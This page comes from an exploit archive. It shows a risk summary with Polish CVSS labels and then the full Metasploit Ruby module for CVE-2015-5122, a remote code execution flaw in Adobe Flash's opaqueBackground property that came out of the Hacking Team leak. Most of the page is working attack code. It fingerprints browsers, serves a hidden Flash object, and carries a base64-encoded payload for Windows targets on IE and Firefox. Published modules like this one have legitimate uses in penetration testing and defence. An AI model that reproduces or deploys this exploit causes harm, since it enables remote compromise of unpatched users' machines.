Adobe Flash opaqueBackground Use After Free

2015.07.14
Credit: Hacking Team
Risk: High
Local: No
Remote: Yes
CWE: CWE-Other


Ogólna skala CVSS: 10/10
Znaczenie: 10/10
Łatwość wykorzystania: 10/10
Wymagany dostęp: Zdalny
Złożoność ataku: Niska
Autoryzacja: Nie wymagana
Wpływ na poufność: Pełny
Wpływ na integralność: Pełny
Wpływ na dostępność: Pełny

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::BrowserExploitServer def initialize(info={}) super(update_info(info, 'Name' => 'Adobe Flash opaqueBackground Use After Free', 'Description' => %q{ This module exploits an use after free on Adobe Flash Player. The vulnerability, discovered by Hacking Team and made public on its July 2015 data leak, was described as an Use After Free while handling the opaqueBackground property 7 setter of the flash.display.DisplayObject class. This module is an early release tested on: Windows 7 SP1 (32-bit), IE11 and Adobe Flash 18.0.0.203, Windows 7 SP1 (32-bit), Firefox 38.0.5 and Adobe Flash 18.0.0.194, Windows 7 SP1 (32-bit), IE9 and Adobe Flash Flash 18.0.0.203, Windows 7 SP1 (32-bit), Firefox + Adobe Flash 18.0.0.194, windows 8.1, Firefox and Adobe Flash 18.0.0.203, Windows 8.1, Firefox and Adobe Flash 18.0.0.160, and Windows 8.1, Firefox and Adobe Flash 18.0.0.194 }, 'License' => MSF_LICENSE, 'Author' => [ 'Unknown', # Vulnerability discovered on HackingTeam info leak 'juan vazquez', # Ported to Msf 'sinn3r' # Testing and some editing ], 'References' => [ ['CVE', '2015-5122'], ['URL', 'https://www.fireeye.com/blog/threat-research/2015/07/cve-2015-5122_-_seco.html'] ], 'Payload' => { 'DisableNops' => true }, 'Platform' => ['win'], 'Arch' => [ARCH_X86], 'BrowserRequirements' => { :source => /script|headers/i, :arch => ARCH_X86, :os_name => lambda do |os| os =~ OperatingSystems::Match::WINDOWS_7 || os =~ OperatingSystems::Match::WINDOWS_81 end, :ua_name => lambda do |ua| case target.name when 'Windows' return true if ua == Msf::HttpClients::IE || ua == Msf::HttpClients::FF end false end, :flash => lambda do |ver| case target.name when 'Windows' return true if ver =~ /^18\./ && Gem::Version.new(ver) <= Gem::Version.new('18.0.0.203') end false end }, 'Targets' => [ [ 'Windows', { 'Platform' => 'win' } ] ], 'Privileged' => false, 'DisclosureDate' => 'Jul 06 2015', 'DefaultTarget' => 0)) end def exploit @swf = create_swf super end def on_request_exploit(cli, request, target_info) print_status("Request: #{request.uri}") if target_info[:os_name] =~ OperatingSystems::Match::WINDOWS_81 && target_info[:ua_ver] == '11.0' print_warning("Target setup not supported") send_not_found(cli) return end if request.uri =~ /\.swf$/ print_status('Sending SWF...') send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'}) return end print_status('Sending HTML...') send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'}) end def exploit_template(cli, target_info) swf_random = "#{rand_text_alpha(4 + rand(3))}.swf" target_payload = get_payload(cli, target_info) b64_payload = Rex::Text.encode_base64(target_payload) os_name = target_info[:os_name] if target.name =~ /Windows/ platform_id = 'win' end html_template = %Q|<html> <body> <object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" /> <param name="movie" value="<%=swf_random%>" /> <param name="allowScriptAccess" value="always" /> <param name="FlashVars" value="sh=<%=b64_payload%>&pl=<%=platform_id%>&os=<%=os_name%>" /> <param name="Play" value="true" /> <embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>&pl=<%=platform_id%>&os=<%=os_name%>" Play="true"/> </object> </body> </html> | return html_template, binding() end def create_swf path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-5122', 'msf.swf') swf = ::File.open(path, 'rb') { |f| swf = f.read } swf end end

Referencje:

https://www.fireeye.com/blog/threat-research/2015/07/cve-2015-5122_-_seco.html


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